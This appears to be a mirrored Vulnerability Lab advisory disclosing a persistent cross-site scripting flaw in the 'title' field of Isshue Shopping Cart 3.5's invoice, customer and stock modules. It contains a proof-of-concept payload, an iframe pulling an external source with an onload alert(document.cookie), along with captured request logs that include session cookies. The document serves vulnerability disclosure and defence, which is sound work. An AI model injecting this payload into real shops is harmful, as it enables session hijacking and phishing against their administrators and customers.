发布 2021-11-03 漏洞条目

Isshue Shopping Cart 3.5 – ‘Title’ Cross Site Scripting (XSS)

Exploit Source

# Exploit Title: Isshue Shopping Cart 3.5 - 'Title' Cross Site Scripting (XSS)

# Date: 2021-10-22

# Exploit Author: Vulnerability Lab

# Vendor Homepage: https://www.bdtask.com/multi-store-ecommerce-shopping-cart-software/

# Version: 3.5

Document Title:

===============

Isshue Shopping Cart v3.5 - Cross Site Web Vulnerability

References (Source):

====================

https://www.vulnerability-lab.com/get_content.php?id=2284

Release Date:

=============

2021-10-22

Vulnerability Laboratory ID (VL-ID):

====================================

2284

Common Vulnerability Scoring System:

====================================

5.1

Vulnerability Class:

====================

Cross Site Scripting - Persistent

Current Estimated Price:

========================

500€ - 1.000€

Product & Service Introduction:

===============================

Multi-store eCommerce shopping cart software is the complete solution for eCommerce business management. It is all in one package for website management

with backend admin panel to manage inventory, order, product, invoicing & so on. No need regular monthly subscription fee, get it through one-time payment now.

Your eCommerce business frequently changes with the times. All you need is a system that will make your work easier and time-saving. You need the best

eCommerce shopping cart software which is flexible, upgradable, affordable. Isshue is a completely secure and fast eCommerce POS system for eCommerce

solutions. Isshue is the best choice for any type of e-commerce business, big or small.

(Copy of the Homepage: https://www.bdtask.com/multi-store-ecommerce-shopping-cart-software/ )

Abstract Advisory Information:

==============================

The vulnerability laboratory core research team discovered a persistent validation vulnerability in the Isshue eCommerce Shopping Cart v3.5 web-application.

Affected Product(s):

====================

bdtask

Product: Isshue Shopping Cart v3.5 - eCommerce (Web-Application)

Vulnerability Disclosure Timeline:

==================================

2021-08-23: Researcher Notification & Coordination (Security Researcher)

2021-08-24: Vendor Notification (Security Department)

2021-**-**: Vendor Response/Feedback (Security Department)

2021-**-**: Vendor Fix/Patch (Service Developer Team)

2021-**-**: Security Acknowledgements (Security Department)

2021-10-22: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

=================

Published

Exploitation Technique:

=======================

Remote

Severity Level:

===============

Medium

Authentication Type:

====================

Restricted Authentication (Moderator Privileges)

User Interaction:

=================

Medium User Interaction

Disclosure Type:

================

Responsible Disclosure

Technical Details & Description:

================================

A persistent input validation web vulnerability has been discovered in the official Isshue eCommerce Shopping Cart v3.5 web-application.

The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to

web-application requests from the application-side.

A input validation web vulnerability has been discovered in the title input fields in `new invoice`, `customer` & `stock` modules.

The `title` input and parameter allows to inject own malicious script code with persistent attack vector. The content of the input

and parameter is insecure validated, thus allows remote attackers with privileged user accounts (manager/keeper/admin) to inject

own malformed script code that executes on preview. The request method to inject is post and the attack vector is persistent on

the application-side.

Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects

to malicious source and persistent manipulation of affected application modules.

Request Method(s):

[+] POST

Vulnerable Module(s):

[+] Edit Title

Vulnerable Input(s):

[+] Title

Vulnerable Parameter(s):

[+] title

Affected Module(s):

[+] stock

[+] customer

[+] invoice

Proof of Concept (PoC):

=======================

The persistent input validation web vulnerability can be exploited by remote attackers with keeper account and with low user interaction.

For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.

Vulnerable Source:

<div class="panel-title" style="max-width: calc(100% - 180px);">"[MALICIOUS INJECTED SCRIPT CODE!]<iframe src="https://www.exploit-db.com/exploits/50490/evil.source" onload="alert(document.cookie)"></iframe></div>

<div class="dropdown"><ul class="dropdown-menu dropdown-menu-right"><li><a data-func="editTitle" data-tooltip="Edit title"

data-toggle="tooltip" data-title="Edit title" data-placement="bottom" data-original-title="" title=""><i class="panel-control-icon ti-pencil"></i>

<span class="control-title">Edit title</span></a></li><li>

<i class="panel-control-icon ti-move"></i><span class="control-title">Unpin</span></a></li><li>

<i class="panel-control-icon ti-reload"></i><span class="control-title">Reload</span></a></li><li>

<i class="panel-control-icon ti-minus"></i><span class="control-title">Minimize</span></a></li><li><a data-func="expand"

data-tooltip="Fullscreen" data-toggle="tooltip" data-title="Fullscreen" data-placement="bottom" data-original-title="" title="">

<i class="panel-control-icon ti-fullscreen"></i><span class="control-title">Fullscreen</span></a></li><li>

<i class="panel-control-icon ti-close"></i><span class="control-title">Close</span></a></li></ul>

<label for="customer_name" class="col-sm-3 col-form-label">Customer Name <i class="text-danger">*</i></label>

</div>

--- PoC Session Logs (GET) [Execute] ---

https://isshue.localhost:8080/isshue/dashboard/Store_invoice/evil.source

Host: isshue.localhost:8080

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Connection: keep-alive

Referer: https://isshue.localhost:8080/isshue/dashboard/Store_invoice/new_invoice

Cookie: ci_session=f16fc8ac874d2fbefd4f1bc818e9361e563a9535; bm=29207327be4562a93104e7c7c2e62fe74d7d12de-

1629733189-1800-AStEmjkeD30sgtw0bgFOcvlrw7KiV79iVZGn+JuZ0bDjD7g99V69gfssqh4LvIWof7tjzmwNEeHHbVZcMib7hnkgJULvefbayRn8vBdfB73nFdoUChp8uXuiRxDu17LDBA==

GET: HTTP/2.0 200 OK

content-type: text/html; charset=UTF-8

vary: Accept-Encoding

set-cookie: cookie=f16fc8ac874d2fbefd4f1bc818e9361e563a9535; bm=29207327be4562a93104e7c7c2e62fe74d7d12de-

1629733189-1800-AStEmjkeD30sgtw0bgFOcvlrw7KiV79iVZGn+JuZ0bDjD7g99V69gfssqh4LvIWof7tjzmwNEeHHbVZcMib7hnkgJULvefbayRn8vBdfB73nFdoUChp8uXuiRxDu17LDBA==; GMT; Max-Age=7200; path=/

Security Risk:

==============

The security risk of the persistent input validation web vulnerability in the shopping cart web-application is estimated as medium.

Credits & Authors:

==================

Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab

Disclaimer & Information:

=========================

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作者: Vulnerability-Lab
日期: 2021-11-03
类别: webapps
平台: multiple

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